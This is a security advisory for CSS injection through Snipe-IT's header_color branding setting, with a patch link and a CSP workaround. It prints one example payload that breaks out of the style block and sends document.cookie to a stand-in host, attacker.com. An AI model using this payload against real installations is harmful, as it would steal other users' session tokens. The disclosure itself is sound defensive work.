GHSA-w7qw-5wfv-gwx9

ghsaUSosv

Snipe-IT has CSS Injection via `header_color` Setting

view advisory published 2026-08-28Licence: CC-BY-4.0

### Impact Because `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators. Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack. ### Details The `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `<style>` block using Laravel's `{{ }}` syntax: ``` --main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }}; ``` Although `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings > Branding` page can inject arbitrary CSS by setting the `header_color` value to something like: ``` #fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x { ``` This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load. ### Patches Patched in https://github.com/grokability/snipe-it/pull/19097 ### Workarounds Enable CSP in your .env file.

01

describes (1)

Related CVEs.

IDseverity exploitable
CVE-2026-55481USmedium4.8—
Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders header_color and related branding color settings inside a CSS style block with HTML esc…
02

references

External citations — patches, advisories, analysis.

scry

Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.

Free scan